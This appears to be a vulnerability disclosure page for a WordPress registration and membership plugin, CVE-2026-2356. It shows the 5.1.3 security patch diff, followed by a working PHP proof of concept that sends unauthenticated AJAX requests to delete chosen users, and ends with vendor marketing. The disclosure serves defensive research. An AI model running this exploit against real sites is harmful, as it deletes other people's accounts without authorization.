-				$members_data = $members_service->prepare_members_data( $data );
+				$members_data = $members_service->prepare_members_data( $data, 'frontend' );

 				$member = $this->members->create( $members_data ); // first create the member themselves.
 				if ( $member->ID ) {
--- a/user-registration/modules/membership/includes/Admin/Database/Database.php
+++ b/user-registration/modules/membership/includes/Admin/Database/Database.php
@@ -99,7 +99,8 @@
 					  FOREIGN KEY (created_by) REFERENCES $users_table(ID) ON UPDATE NO ACTION,
 					  INDEX idx_user_id (user_id),
 					  INDEX idx_created_by (created_by),
-					  INDEX idx_order_type (order_type)
+					  INDEX idx_order_type (order_type),
+					  INDEX idx_transaction_id (transaction_id)
 					) $collate;
 					"
 		);
--- a/user-registration/modules/membership/includes/Admin/Forms/Views/admin-membership.php
+++ b/user-registration/modules/membership/includes/Admin/Forms/Views/admin-membership.php
@@ -99,7 +99,7 @@
 	</div>
 	<div class="ur-field" data-field-key="membership">
 		<span class="empty-urmg-label"<?php echo $empty_label_style; ?>>
-			<?php esc_html_e( 'Please select a membership group.', 'user-registration' ); ?>
+			<?php esc_html_e( 'No memberships found. Please create one or more memberships.', 'user-registration' ); ?>
 		</span>
 		<span class="urmg-loader"></span>
 		<div class="urmg-container">
--- a/user-registration/modules/membership/includes/Admin/Repositories/MembersOrderRepository.php
+++ b/user-registration/modules/membership/includes/Admin/Repositories/MembersOrderRepository.php
@@ -116,4 +116,19 @@
 		}
 		return false;
 	}
+
+	public function does_transaction_id_exists( $transaction_id ) {
+		global $wpdb;
+
+		$result = $wpdb->get_var(
+			$wpdb->prepare(
+				"SELECT id FROM {$this->table} WHERE transaction_id = %s LIMIT 1",
+				$transaction_id
+			)
+		);
+
+		return ! empty( $result );
+	}
+
+
 }
--- a/user-registration/modules/membership/includes/Admin/Repositories/MembershipRepository.php
+++ b/user-registration/modules/membership/includes/Admin/Repositories/MembershipRepository.php
@@ -111,31 +111,46 @@

 	public function get_multiple_membership_by_ID( $ids, $order = true ) {
 		global $wpdb;
+
+		if ( ! is_array( $ids ) ) {
+			$ids = explode( ',', $ids );
+		}
+
+		$ids = array_filter( array_map( 'absint', $ids ) );
+
+		if ( empty( $ids ) ) {
+			return [];
+		}
+
+		$placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
+
 		$sql = "
-				SELECT wpp.ID,
-				       wpp.post_title,
-				       wpp.post_content,
-				       wpp.post_status,
-				       wpp.post_type,
-				       wpm.meta_value
-				FROM $this->table wpp
-				         JOIN $this->posts_meta_table wpm on wpm.post_id = wpp.ID
-				WHERE wpm.meta_key = 'ur_membership'
-				  AND wpp.post_type = 'ur_membership'
-				  AND wpp.post_status = 'publish'
-				AND wpp.ID IN ($ids)
+			SELECT wpp.ID,
+				wpp.post_title,
+				wpp.post_content,
+				wpp.post_status,
+				wpp.post_type,
+				wpm.meta_value
+			FROM {$this->table} wpp
+			INNER JOIN {$this->posts_meta_table} wpm
+				ON wpm.post_id = wpp.ID
+			WHERE wpm.meta_key = 'ur_membership'
+			AND wpp.post_type = 'ur_membership'
+			AND wpp.post_status = 'publish'
+			AND wpp.ID IN ($placeholders)
 		";

 		if ( $order ) {
-			$sql .= 'ORDER BY 1 DESC';
+			$sql .= ' ORDER BY wpp.ID DESC';
+			$query_args = $ids;
 		} else {
-			$sql .= " ORDER BY FIELD(wpp.ID, $ids)";
+			$sql .= " ORDER BY FIELD(wpp.ID, $placeholders)";
+			$query_args = array_merge( $ids, $ids );
 		}

-		$memberships = $wpdb->get_results(
-			$sql,
-			ARRAY_A
-		);
+		$query = $wpdb->prepare( $sql, $query_args );
+
+		$memberships = $wpdb->get_results( $query, ARRAY_A );

 		$membership_service = new MembershipService();
 		return $membership_service->prepare_membership_data( $memberships );
--- a/user-registration/modules/membership/includes/Admin/Services/CouponService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/CouponService.php
@@ -33,7 +33,7 @@
 	public function set_coupon_response( $status, $code, $message, array $data = array() ) {
 		return array(
 			'status'  => $status,
-			'message' => esc_html__( $message, 'user-registration_membership' ),
+			'message' => esc_html__( $message, 'user-registration' ),
 			'data'    => wp_json_encode( $data ),
 			'code'    => $code,
 		);
--- a/user-registration/modules/membership/includes/Admin/Services/MembersService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/MembersService.php
@@ -2,6 +2,7 @@

 namespace WPEverestURMembershipAdminServices;

+use WPEverestURMembershipAdminRepositoriesMembershipGroupRepository;
 use WPEverestURMembershipAdminRepositoriesMembershipRepository;

 class MembersService {
@@ -103,7 +104,12 @@
 	 *
 	 * @return array
 	 */
-	public function prepare_members_data( $data ) {
+	public function prepare_members_data( $data, $context = 'admin' ) {
+		if ( 'frontend' === $context ) {
+			$membership_detail  = $this->membership_repository->get_single_membership_by_ID( absint( $data['membership'] ) );
+			$data['role']       = isset( $membership_detail['role'] ) ? sanitize_text_field( $membership_detail['role'] ) : 'subscriber';
+		}
+
 		$response         = array();
 		$response['role'] = isset( $data['role'] ) ? sanitize_text_field( $data['role'] ) : 'subscriber';

@@ -138,7 +144,7 @@
 			'user_status'   => isset( $data['member_status'] ) ? absint( $data['member_status'] ) : 1,
 		);

-		if ( isset( $data['membership'] ) ) {
+		if ( ! empty( $data['membership'] ) ) {
 			$membership_details          = $this->membership_repository->get_single_membership_by_ID( absint( $data['membership'] ) );
 			$membership_meta             = json_decode( $membership_details['meta_value'], true );
 			$response['role']            = isset( $membership_meta['role'] ) ? sanitize_text_field( $membership_meta['role'] ) : $response['role'];
@@ -230,21 +236,48 @@
 	 *
 	 * @return bool
 	 */
-	public function login_member( $user_id, $check_just_created ) {
-		$is_just_created = 'no';
+	public function login_member( $user_id, $check_just_created, $password = '' ) {
+		if ( empty( $user_id ) ) {
+			return false;
+		}
+
+		$user = get_user_by( 'ID', $user_id );
+		if ( ! $user ) {
+			return false;
+		}
+
+		$saved_hash = '';
 		if ( $check_just_created ) {
-			$is_just_created = get_user_meta( $user_id, 'urm_user_just_created', true );
+			$saved_hash = get_user_meta( $user_id, 'urm_user_just_created', true );
 		}

-		if ( 'yes' === $is_just_created ) {
-			delete_user_meta( $user_id, 'urm_user_just_created' );
-			wp_clear_auth_cookie();
-			$remember = apply_filters( 'user_registration_autologin_remember_user', false );
-			wp_set_auth_cookie( $user_id, $remember );
+		if ( empty( $password ) ) {
+
+			if ( empty( $saved_hash ) ) {
+				return false;
+			}
+
+			$expected_hash = hash_hmac(
+				'sha256',
+				(string) $user_id,
+				wp_salt( 'auth' )
+			);

-			return true;
+			if ( ! hash_equals( $expected_hash, $saved_hash ) ) {
+				return false;
+			}
 		} else {
-			return false;
+
+			if ( ! wp_check_password( $password, $user->user_pass, $user_id ) ) {
+				return false;
+			}
 		}
+
+		delete_user_meta( $user_id, 'urm_user_just_created' );
+		wp_clear_auth_cookie();
+		$remember = apply_filters( 'user_registration_autologin_remember_user', false );
+		wp_set_auth_cookie( $user_id, $remember );
+
+		return true;
 	}
 }
--- a/user-registration/modules/membership/includes/Admin/Services/MembershipService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/MembershipService.php
@@ -80,7 +80,7 @@
 	public function create_membership_order_and_subscription( $data ) {
 		try {
 			$this->members_repository->wpdb()->query( 'START TRANSACTION' ); // Start the transaction.
-			$members_data = $this->members_service->prepare_members_data( $data );
+			$members_data = $this->members_service->prepare_members_data( $data, 'frontend' );
 			$member       = get_user_by( 'login', $data['username'] );

 			// update user source and add membership_role
--- a/user-registration/modules/membership/includes/Admin/Services/Paypal/PaypalService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/Paypal/PaypalService.php
@@ -443,12 +443,14 @@
 		}

 		$login_option = ur_get_user_login_option( $member_id );
+		$data = apply_filters( 'user_registration_membership_before_register_member', isset( $_POST['members_data'] ) ? (array) json_decode( wp_unslash( $_POST['members_data'] ), true ) : array() );
+
 		if ( 'auto_login' === $login_option ) {
 			$member_service = new MembersService();
-			$member_service->login_member( $member_id, true );
+			$password        = isset( $data['password'] ) ? $data['password'] : '';
+			$member_service->login_member( $member_id, true, $password );
 		}
-
-		update_user_meta( $member_id, 'urm_user_just_created', true );
+		delete_user_meta( $member_id, 'urm_user_just_created' );
 		ur_membership_redirect_to_thank_you_page( $member_id, $member_order );
 	}

@@ -976,6 +978,7 @@
 			);
 			$email_service->send_email( $email_data, 'payment_retry_failed' );
 		}
+		delete_user_meta( $member_id, 'urm_user_just_created' );
 	}

 	/**
--- a/user-registration/modules/membership/includes/Admin/Services/Stripe/StripeService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/Stripe/StripeService.php
@@ -75,6 +75,19 @@
 	}

 	/**
+	 * Default for webhook registration.
+	 *
+	 * @return string[]
+	 */
+	public static function get_handled_webhook_events() {
+		return array(
+			'invoice.payment_succeeded',
+			'invoice.payment_failed',
+			'payment_intent.payment_failed',
+		);
+	}
+
+	/**
 	 * Create webhook endpoint in Stripe for a given mode.
 	 *
 	 * @param string $mode 'test' or 'live'.
@@ -116,20 +129,13 @@

 		try {
 			StripeStripe::setApiKey( $secret_key );
-			$webhook_url = rest_url( 'user-registration/stripe-webhook' );
-			$webhook     = StripeWebhookEndpoint::create(
+			$webhook_url   = rest_url( 'user-registration/stripe-webhook' );
+			$default_events = self::get_handled_webhook_events();
+			$enabled_events = apply_filters( 'urm_stripe_webhook_enabled_events', $default_events, $mode );
+			$webhook       = StripeWebhookEndpoint::create(
 				array(
 					'url'            => $webhook_url,
-					'enabled_events' => array(
-						'checkout.session.completed',
-						'payment_intent.succeeded',
-						'payment_intent.payment_failed',
-						'invoice.paid',
-						'invoice.payment_failed',
-						'customer.subscription.created',
-						'customer.subscription.updated',
-						'customer.subscription.deleted',
-					),
+					'enabled_events' => array_values( array_filter( (array) $enabled_events ) ),
 					'api_version'    => '2023-10-16',
 				)
 			);
@@ -579,8 +585,39 @@
 			'status' => true,
 		);

+			$stripe_settings = self::get_stripe_settings();
+
+			if ( empty( $stripe_settings['secret_key'] ) ) {
+				$response['status']  = false;
+				$response['message'] = __( 'Stripe secret key is not configured.', 'user-registration' );
+
+				return $response;
+			}
+
+			StripeStripe::setApiKey( $stripe_settings['secret_key'] );
+
+			$pi_id = sanitize_text_field( ! empty( $data['payment_result']['paymentIntent']['id'] ) ? $data['payment_result']['paymentIntent']['id'] : '' );
+
+			$intent = StripePaymentIntent::retrieve( $pi_id );
+
+			if ( $intent->status !== 'succeeded' ) {
+				$response['status']  = false;
+				$response['message'] = __( 'Payment not completed.', 'user-registration' );
+
+				return $response;
+			}
+
+			$payment_status =  $intent->status;
+
 		$latest_order = $this->members_orders_repository->get_member_orders( $member_id );

+		if ( $this->members_orders_repository->does_transaction_id_exists( $transaction_id ) ) {
+			$response['status']  = false;
+			$response['message'] = __( 'Duplicate transaction id.', 'user-registration' );
+
+			return $response;
+		}
+
 		if ( empty( $latest_order ) ) {
 			PaymentGatewayLogging::log_error(
 				'stripe',
@@ -1204,7 +1241,7 @@
 				$this->sendEmail( $member_order['ID'], $member_subscription, $membership_metas, $member_id, $response );

 				$response['subscription'] = $subscription;
-				$response['message']      = __( 'New member has been successfully created with successful stripe subscription.' );
+				$response['message']      = __( 'New member has been successfully created with successful stripe subscription.', 'user-registration' );
 				$response['status']       = true;
 			} elseif ( 'incomplete' === $subscription_status ) {
 				PaymentGatewayLogging::log_general(
@@ -1429,14 +1466,25 @@
 		if ( isset( $event['id'] ) ) {
 			try {
 				$event_id = sanitize_text_field( $event['id'] );
-				$event    = (array) StripeEvent::retrieve( $event_id );
+				$retrieved_event    = (array) StripeEvent::retrieve( $event_id );
 			} catch ( Exception $e ) {
+				PaymentGatewayLogging::log_webhook_received(
+					'stripe',
+					$e->getMessage(),
+					array(
+						'webhook_type'    => 'invoice.payment_failed',
+						'subscription_id' => $subscription_id,
+						'event_id'        => $event['id'] ?? 'unknown',
+					)
+				);
+
 				die();
 			}
 		} else {
 			die();
 		}
 		switch ( $event['type'] ) {
+			case 'invoice.paid':
 			case 'invoice.payment_succeeded':
 				$this->handle_succeeded_invoice( $event, $subscription_id );
 				break;
@@ -1568,6 +1616,8 @@
 				'membership_type'     => $membership_type,
 			)
 		);
+		delete_user_meta( $member_id, 'urm_user_just_created' );
+
 	}

 	public function handle_failed_invoice( $event, $subscription_id ) {
@@ -1624,6 +1674,8 @@
 				'member_id'       => $member_id,
 			)
 		);
+		delete_user_meta( $member_id, 'urm_user_just_created' );
+
 	}

 	public function handle_failed_payment_intent( $event ) {
@@ -1658,6 +1710,8 @@
 				)
 			);
 		}
+		delete_user_meta( $order['user_id'], 'urm_user_just_created' );
+
 	}

 	public function validate_setup() {
--- a/user-registration/modules/membership/includes/Admin/Services/SubscriptionService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/SubscriptionService.php
@@ -772,7 +772,13 @@
 	public function run_daily_delayed_membership_subscriptions() {
 		$all_delayed_orders = $this->orders_repository->get_all_delayed_orders( date( 'Y-m-d 00:00:00' ) );

-		ur_get_logger()->notice( __( 'Scheduled Subscriptions job started for the date: (' . date( 'd F,Y' ) . ')', 'user-registration' ), array( 'source' => 'urm-membership-crons' ) );
+		ur_get_logger()->notice(
+			sprintf(
+				__( 'Scheduled Subscriptions job started for the date: (%s)', 'user-registration' ),
+				date( 'd F,Y' )
+			),
+			array( 'source' => 'urm-membership-crons' )
+		);

 		if ( empty( $all_delayed_orders ) ) {
 			ur_get_logger()->notice( __( 'No delayed orders found.', 'user-registration' ), array( 'source' => 'urm-membership-crons' ) );
@@ -810,7 +816,13 @@
 			}
 		}

-		ur_get_logger()->notice( __( 'Subscription updated for ' . implode( ',', $updated_subscription_for_users ), 'user-registration' ), array( 'source' => 'urm-membership-crons' ) );
+		ur_get_logger()->notice(
+			sprintf(
+				__( 'Subscription updated for %s', 'user-registration' ),
+				implode( ',', $updated_subscription_for_users )
+			),
+			array( 'source' => 'urm-membership-crons' )
+		);
 	}

 	/**
@@ -1054,7 +1066,13 @@
 		$check_date    = $date->format( 'Y-m-d H:i:s' );
 		$subscriptions = $this->members_subscription_repository->get_subscriptions_to_expire( $check_date );
 		if ( empty( $subscriptions ) ) {
-			ur_get_logger()->notice( __( 'No memberships found to expire for date: ' . $check_date, 'user-registration' ), array( 'source' => 'urm-membership-expiration' ) );
+			ur_get_logger()->notice(
+				sprintf(
+					__( 'No memberships found to expire for date: %s', 'user-registration' ),
+					$check_date
+				),
+				array( 'source' => 'urm-membership-expiration' )
+			);
 			return;
 		}

--- a/user-registration/modules/membership/includes/Admin/Subscriptions/ListTable.php
+++ b/user-registration/modules/membership/includes/Admin/Subscriptions/ListTable.php
@@ -214,7 +214,7 @@
 			</p>
 			<div id="user-registration-list-search-form">
 				<?php
-				$placeholder = __( 'Search Subscription', 'user-registration' );
+				$placeholder = __( 'Search member or email', 'user-registration' );
 				UR_Base_Layout::display_search_field( $search_id, $placeholder );
 				?>
 				</div>
--- a/user-registration/modules/membership/includes/Admin/Views/Partials/membership-create-basics-tab.php
+++ b/user-registration/modules/membership/includes/Admin/Views/Partials/membership-create-basics-tab.php
@@ -185,6 +185,11 @@
 				</select>
 			</div>

+
+			<?php
+			do_action( 'ur_membership_team_membership', $membership, $membership_details );
+			?>
+
 			<!-- Payment Settings Notice -->
 			<div id="ur-membership-payment-settings-notice"
 				 class="<?php echo isset( $membership_details['type'] ) && in_array( $membership_details['type'], array(
@@ -207,10 +212,6 @@
 			require __DIR__ . '/membership-admin-payments.php';
 		endif;
 		?>
-
-		<?php
-			do_action( 'ur_membership_team_membership', $membership, $membership_details );
-		?>
 	</div>
 </div>

--- a/user-registration/modules/membership/includes/Templates/membership-registration-form.php
+++ b/user-registration/modules/membership/includes/Templates/membership-registration-form.php
@@ -401,7 +401,7 @@
 				<?php
 			endforeach;
 		else :
-			$message = wp_kses_post( apply_filters( 'user_registration_membership_no_membership_message', __( 'No membership's group selected.', 'user-registration' ) ) );
+			$message = wp_kses_post( apply_filters( 'user_registration_membership_no_membership_message', __( 'No memberships found to display.', 'user-registration' ) ) );
 			echo '<label data-form-id="' . absint( $form_id ) . '"  class="user-registration-error no-membership">' . $message . '</label>';
 		endif;
 		?>
@@ -527,7 +527,7 @@
 						>
 						<span class="ur-membership-duration">
 						<img
-							src="<?php echo esc_url( plugins_url( 'assets/images/settings-icons/membership-field/' . strtolower( $g ) . '-logo.png', UR_PLUGIN_FILE ) ); ?>"
+							src="<?php echo esc_url( apply_filters( 'user_registration_membership_payment_gateway_logo_url', plugins_url( 'assets/images/settings-icons/membership-field/' . strtolower( $g ) . '-logo.png', UR_PLUGIN_FILE ), $g, $gateway ) ); ?>"
 							alt="<?php echo esc_attr( $gateway ); ?>"
 							class="ur-membership-payment-gateway-logo"
 							width="<?php echo isset( $width_map[ strtolower( $g ) ] ) ? $width_map[ strtolower( $g ) ] : '60px'; ?>"
--- a/user-registration/modules/payment-history/Admin/OrderService.php
+++ b/user-registration/modules/payment-history/Admin/OrderService.php
@@ -73,12 +73,12 @@
 		if ( ! isset( $data['order_id'] ) ) {
 			$this->response['status']  = false;
 			$this->response['code']    = 422;
-			$this->response['message'] = __( 'Field Order ID is required.' );
+			$this->response['message'] = __( 'Field Order ID is required.', 'user-registration' );

 		} elseif ( $data['order_id'] == 0 && ! isset( $data['user_id'] ) ) {
 			$this->response['status']  = false;
 			$this->response['code']    = 422;
-			$this->response['message'] = __( 'Field User ID is required.' );
+			$this->response['message'] = __( 'Field User ID is required.', 'user-registration' );
 		}

 		return $this->response;
--- a/user-registration/templates/form-registration.php
+++ b/user-registration/templates/form-registration.php
@@ -377,7 +377,7 @@
 				?>
 				<input type="hidden" name="ur-registration-language" value="<?php echo esc_attr( $current_language ); ?>"/>
 				<input type="hidden" name="ur-user-form-id" value="<?php echo absint( $form_id ); ?>"/>
-				<input type="hidden" name="ur-redirect-url" value="<?php echo esc_url( ur_string_translation( $form_id, 'user_registration_form_setting_redirect_options', $redirect_url ) ); ?>"/>
+				<input type="hidden" name="ur-redirect-url" value="<?php echo ! empty( $redirect_url ) ? esc_url( ur_string_translation( $form_id, 'user_registration_form_setting_redirect_options', $redirect_url ) ) : ''; ?>"/>
 				<?php wp_nonce_field( 'ur_frontend_form_id-' . $form_id, 'ur_frontend_form_nonce', false ); ?>

 				<?php
--- a/user-registration/user-registration.php
+++ b/user-registration/user-registration.php
@@ -4,7 +4,7 @@
  * Plugin Name: User Registration & Membership
  * Plugin URI: https://wpuserregistration.com/
  * Description: The most flexible User Registration and Membership plugin for WordPress.
- * Version: 5.1.2
+ * Version: 5.1.3
  * Author: WPEverest
  * Author URI: https://wpuserregistration.com
  * Text Domain: user-registration
@@ -37,7 +37,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '5.1.2';
+		public $version = '5.1.3';

 		/**
 		 * Session instance.
@@ -169,6 +169,8 @@
 			$this->define( 'UR_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
 			$this->define( 'UR_VERSION', $this->version );
 			$this->define( 'UR_TEMPLATE_DEBUG_MODE', false );
+			$this->define( 'UR_TEMPLATE_PATH', UR_ABSPATH . 'templates/' );
+			$this->define( 'UR_ASSET_PATH', plugins_url( 'assets/', UR_PLUGIN_FILE ) );
 			$this->define( 'UR_FORM_PATH', UR_ABSPATH . 'includes' . UR_DS . 'form' . UR_DS );
 			$this->define( 'UR_SESSION_CACHE_GROUP', 'ur_session_id' );
 			$this->define( 'UR_PRO_ACTIVE', false );
@@ -211,6 +213,44 @@
 		 */
 		private function includes() {

+			if ( file_exists( __DIR__ . '/vendor/autoload.php' ) ) {
+				require_once __DIR__ . '/vendor/autoload.php';
+			} else {
+				if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
+					error_log( // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+						sprintf(
+							/* translators: 1: composer command. 2: plugin directory */
+							esc_html__( 'Your installation of the User Registration is incomplete. Please run %1$s within the %2$s directory.', 'user-registration' ),
+							'`composer install`',
+							'`' . esc_html( str_replace( ABSPATH, '', __DIR__ ) ) . '`'
+						)
+					);
+				}
+
+				/**
+				 * Outputs an admin notice if composer install has not been ran.
+				 */
+				add_action(
+					'admin_notices',
+					function () {
+						?>
+					<div class="notice notice-error">
+						<p>
+							<?php
+							printf(
+								/* translators: 1: composer command. 2: plugin directory */
+								esc_html__( 'Your installation of the  User Registration is incomplete. Please run %1$s within the %2$s directory.', 'user-registration' ),
+								'<code>composer install</code>',
+								'<code>' . esc_html( str_replace( ABSPATH, '', __DIR__ ) ) . '</code>'
+							);
+							?>
+						</p>
+					</div>
+						<?php
+					}
+				);
+			}
+
 			/**
 			 * Class autoloader.
 			 */
@@ -295,12 +335,6 @@
 				include_once UR_ABSPATH . 'modules/payment-history/Orders.php';
 			}

-			// Check if there are membership rules (>= 2)
-			$membership_rules_count = 0;
-			if ( function_exists( 'ur_get_membership_rules_count' ) ) {
-				$membership_rules_count = ur_get_membership_rules_count();
-			}
-
 			include_once UR_ABSPATH . 'modules/content-restriction/user-registration-content-restriction.php';

 			if ( ur_check_module_activation( 'membership' ) && ur_check_module_activation( 'content-restriction' ) && ur_check_module_activation( 'content-drip' ) ) {
--- a/user-registration/vendor/autoload.php
+++ b/user-registration/vendor/autoload.php
@@ -1,22 +0,0 @@
-<?php
-
-// autoload.php @generated by Composer
-
-if (PHP_VERSION_ID < 50600) {
-    if (!headers_sent()) {
-        header('HTTP/1.1 500 Internal Server Error');
-    }
-    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
-    if (!ini_get('display_errors')) {
-        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
-            fwrite(STDERR, $err);
-        } elseif (!headers_sent()) {
-            echo $err;
-        }
-    }
-    throw new RuntimeException($err);
-}
-
-require_once __DIR__ . '/composer/autoload_real.php';
-
-return ComposerAutoloaderInit25d840391da1fa16bfd9d10aa09cca2b::getLoader();
--- a/user-registration/vendor/composer/ClassLoader.php
+++ b/user-registration/vendor/composer/ClassLoader.php
@@ -1,579 +0,0 @@
-<?php
-
-/*
- * This file is part of Composer.
- *
- * (c) Nils Adermann <naderman@naderman.de>
- *     Jordi Boggiano <j.boggiano@seld.be>
- *
- * For the full copyright and license information, please view the LICENSE
- * file that was distributed with this source code.
- */
-
-namespace ComposerAutoload;
-
-/**
- * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
- *
- *     $loader = new ComposerAutoloadClassLoader();
- *
- *     // register classes with namespaces
- *     $loader->add('SymfonyComponent', __DIR__.'/component');
- *     $loader->add('Symfony',           __DIR__.'/framework');
- *
- *     // activate the autoloader
- *     $loader->register();
- *
- *     // to enable searching the include path (eg. for PEAR packages)
- *     $loader->setUseIncludePath(true);
- *
- * In this example, if you try to use a class in the SymfonyComponent
- * namespace or one of its children (SymfonyComponentConsole for instance),
- * the autoloader will first look for the class under the component/
- * directory, and it will then fallback to the framework/ directory if not
- * found before giving up.
- *
- * This class is loosely based on the Symfony UniversalClassLoader.
- *
- * @author Fabien Potencier <fabien@symfony.com>
- * @author Jordi Boggiano <j.boggiano@seld.be>
- * @see    https://www.php-fig.org/psr/psr-0/
- * @see    https://www.php-fig.org/psr/psr-4/
- */
-class ClassLoader
-{
-    /** @var Closure(string):void */
-    private static $includeFile;
-
-    /** @var string|null */
-    private $vendorDir;
-
-    // PSR-4
-    /**
-     * @var array<string, array<string, int>>
-     */
-    private $prefixLengthsPsr4 = array();
-    /**
-     * @var array<string, list<string>>
-     */
-    private $prefixDirsPsr4 = array();
-    /**
-     * @var list<string>
-     */
-    private $fallbackDirsPsr4 = array();
-
-    // PSR-0
-    /**
-     * List of PSR-0 prefixes
-     *
-     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
-     *
-     * @var array<string, array<string, list<string>>>
-     */
-    private $prefixesPsr0 = array();
-    /**
-     * @var list<string>
-     */
-    private $fallbackDirsPsr0 = array();
-
-    /** @var bool */
-    private $useIncludePath = false;
-
-    /**
-     * @var array<string, string>
-     */
-    private $classMap = array();
-
-    /** @var bool */
-    private $classMapAuthoritative = false;
-
-    /**
-     * @var array<string, bool>
-     */
-    private $missingClasses = array();
-
-    /** @var string|null */
-    private $apcuPrefix;
-
-    /**
-     * @var array<string, self>
-     */
-    private static $registeredLoaders = array();
-
-    /**
-     * @param string|null $vendorDir
-     */
-    public function __construct($vendorDir = null)
-    {
-        $this->vendorDir = $vendorDir;
-        self::initializeIncludeClosure();
-    }
-
-    /**
-     * @return array<string, list<string>>
-     */
-    public function getPrefixes()
-    {
-        if (!empty($this->prefixesPsr0)) {
-            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
-        }
-
-        return array();
-    }
-
-    /**
-     * @return array<string, list<string>>
-     */
-    public function getPrefixesPsr4()
-    {
-        return $this->prefixDirsPsr4;
-    }
-
-    /**
-     * @return list<string>
-     */
-    public function getFallbackDirs()
-    {
-        return $this->fallbackDirsPsr0;
-    }
-
-    /**
-     

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2356 - User Registration & Membership <= 5.1.2 - Insecure Direct Object Reference to Unauthenticated Limited User Deletion
<?php

$target_url = 'https://vulnerable-site.com';

// Target user ID to delete (must have 'urm_user_just_created' meta set)
$member_id = 123;

// Build the AJAX request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action' => 'register_member',
    'member_id' => $member_id
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Analyze response
if ($http_code == 200) {
    echo "Request sent successfully.n";
    echo "Response: $responsen";
    
    // Check for success indicators
    if (strpos($response, 'success') !== false || strpos($response, 'deleted') !== false) {
        echo "[+] User $member_id likely deleted.n";
    } else {
        echo "[-] Deletion may have failed. Check response for errors.n";
    }
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School